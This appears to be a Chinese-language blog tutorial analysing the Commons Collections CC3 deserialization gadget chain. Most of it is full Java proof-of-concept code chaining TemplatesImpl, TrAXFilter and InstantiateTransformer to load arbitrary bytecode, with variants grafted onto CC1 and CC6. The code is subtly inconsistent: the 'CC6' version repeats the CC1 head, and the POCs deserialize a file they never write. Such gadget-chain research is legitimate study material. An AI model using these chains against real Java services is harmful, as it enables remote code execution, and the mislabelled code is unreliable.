前文分析了动态加载字节码,本篇就来分析一下使用TemplatesImpl加载字节码执行命令的CC3并将原本CC1和CC6中执行命令的尾部Runtime也改为用TemplatesImpl加载字节码执行命令。
环境部分版本不变为jdk8u65和CC3.2.1
CC3链分析
尾部TemplateImpl
由于Runtime和invokertransform被限制使用,本链会利用其他方法把这些限制绕开。
TemplatesImpl加载字节码执行命令详情前文已经分析过,整条利用链为 :
TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
总结一下就是TemplatesImpl#newTransformer()方法调用了子类的defineClass()加载字节码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| package classloader; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javax.xml.transform.TransformerConfigurationException; import java.io.IOException; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; public class RunTemplatesImplTest { public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException { byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\TemplatesImplTest.class")); final TemplatesImpl templates = new TemplatesImpl(); Setvalue(templates,"_name","jjxxx"); Setvalue(templates,"_bytecodes",new byte[][]{bytes}); Setvalue(templates,"_tfactory",new TransformerFactoryImpl()); templates.newTransformer(); } public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException { final Field field = classname.getClass().getDeclaredField(valuename); field.setAccessible(true); field.set(classname,value); } }
|
代码中通过主动调用newTransformer来调用整条加载字节码的链子,这样思路就清晰了,继续往前找可以调用newTransformer()方法的类
TrAXFilter
右键查找用法,可以看到TrAXFilter的类

跟进看一下,发现该类的构造方法接收一个Templates类型的参数,并且会调用templates.newTransformer()方法,这正是需要找的。

但是会发现该类并没有实现Serializable的接口,不能序列化,因此不能直接调用。

我们可以继续使用CC1中的方法:虽然Runtim无法序列化,但是能利用Runtime.class可以序列化方式解决,通过反射与invokertransformer结合的方法调用runtime.class。但是invokertransformer有时也会被加入黑名单,无法利用。
而ysoserial给出的方法是InstantiateTransformer这个类
跟进一下

它的构造方法会接收两个参数,第一个是参数类型,第二个是参数值;transform方法接收一个input参数,((Class) input).getConstructor(iParamTypes);
并把这个参数强转为class类型,并调用该class的构造方法然后return一个初始化的参数。
这个类的出现解决了TrAXFilter无法被序列化的问题,我们只需要利用这个类去获取TrAXFilter.class并调用它的构造方法传入templates(实例化的TemplatesImpl)即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public InstantiateTransformer(Class[] paramTypes, Object[] args) { super(); iParamTypes = paramTypes; iArgs = args; } public Object transform(Object input) { try { if (input instanceof Class == false) { throw new FunctorException( "InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } Constructor con = ((Class) input).getConstructor(iParamTypes); return con.newInstance(iArgs);
|
把上方TemplateImpl、TrAXFilter、InstantiateTransformer三个类串一下看看能不能执行命令。
测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| package classloader; import com.sun.org.apache.xalan.internal.xsltc.compiler.Template; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.functors.InstantiateTransformer; import javax.xml.transform.Templates; import javax.xml.transform.TransformerConfigurationException; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.nio.file.Files; import java.nio.file.Paths; public class cc3TemplateTest { public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException { byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\TemplatesImplTest.class")); final TemplatesImpl templates = new TemplatesImpl(); Setvalue(templates, "_name", "jjxxx"); Setvalue(templates, "_bytecodes", new byte[][]{bytes}); Setvalue(templates, "_tfactory", new TransformerFactoryImpl()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}); instantiateTransformer.transform(TrAXFilter.class);
} public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException { final Field field = classname.getClass().getDeclaredField(valuename); field.setAccessible(true); field.set(classname,value); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
成功执行命令说明这三个类可以利用

关于头部
上方找到了InstantiateTransformer类的transform的方法且测试代码通过主动调用该transform方法成功执行命令,现在我们需要再去找能够调用transform方法的类当做头部。
能够调用transform方法的头部在CC1(LazyMap与TransformedMap)和CC6中我们已经很熟悉了。
因此接下来只需要把之前的链子再拿过来用就可以了,我这里用CC6调用transform的方法作为头部完善一下POC。
CC3 POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| package classloader; import com.sun.org.apache.xalan.internal.xsltc.compiler.Template; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import javax.xml.transform.TransformerConfigurationException; import java.io.*; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class cc3TemplateTest { public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException { byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\TemplatesImplTest.class")); final TemplatesImpl templates = new TemplatesImpl(); Setvalue(templates, "_name", "jjxxx"); Setvalue(templates, "_bytecodes", new byte[][]{bytes}); Setvalue(templates, "_tfactory", new TransformerFactoryImpl()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}); final Transformer[] transformers = {new ConstantTransformer(TrAXFilter.class), instantiateTransformer}; Transformer chainedTransformer = new ChainedTransformer(transformers); HashMap hashMap = new HashMap(); Map decoratemap = LazyMap.decorate(hashMap,chainedTransformer ); Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = aClass.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, decoratemap); Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler); Object o = constructor.newInstance(Override.class, proxyInstance);
unserialize("2.bin"); } public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException { final Field field = classname.getClass().getDeclaredField(valuename); field.setAccessible(true); field.set(classname,value); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
成功执行命令

链改
现在我们知道了可以用动态加载字节码执行命令我们可以把之前的CC1、CC6,尾部执行命令的方法改为TemplateImpl动态加载字节码其余不变。
CC1链改
以LazyMap版为例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| package classloader; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.TransformerConfigurationException; import java.io.*; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class cc1TemplateTest { public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException { byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\TemplatesImplTest.class")); final TemplatesImpl templates = new TemplatesImpl(); Setvalue(templates,"_name","jjxxx"); Setvalue(templates,"_bytecodes",new byte[][]{bytes}); Setvalue(templates,"_tfactory",new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap(); Map decoratemap = LazyMap.decorate(hashMap,chainedTransformer ); Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = aClass.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, decoratemap); Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler); Object o = constructor.newInstance(Override.class, proxyInstance);
unserialize("2.bin"); } public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException { final Field field = classname.getClass().getDeclaredField(valuename); field.setAccessible(true); field.set(classname,value); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|

CC6链改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| package classloader; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.TransformerConfigurationException; import java.io.*; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class cc6TemplateTest { public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException { byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\TemplatesImplTest.class")); final TemplatesImpl templates = new TemplatesImpl(); Setvalue(templates, "_name", "jjxxx"); Setvalue(templates, "_bytecodes", new byte[][]{bytes}); Setvalue(templates, "_tfactory", new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null, null), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap hashMap = new HashMap(); Map decoratemap = LazyMap.decorate(hashMap,chainedTransformer ); Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = aClass.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, decoratemap); Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler); Object o = constructor.newInstance(Override.class, proxyInstance);
unserialize("2.bin"); } public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException { final Field field = classname.getClass().getDeclaredField(valuename); field.setAccessible(true); field.set(classname,value); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|

流程图
CC3 流程图

总流程图
CC链简化流程总结,只用来体现链子之间的关系;详情还需要看各链文章

总结
CC3链总结一下就是换了个执行命令的方式,并在加载字节码的TemplateImpl类上往前找了一个transform方法,并结合之前CC1、CC6调用transform()方法的头部,组合起来就是CC3了。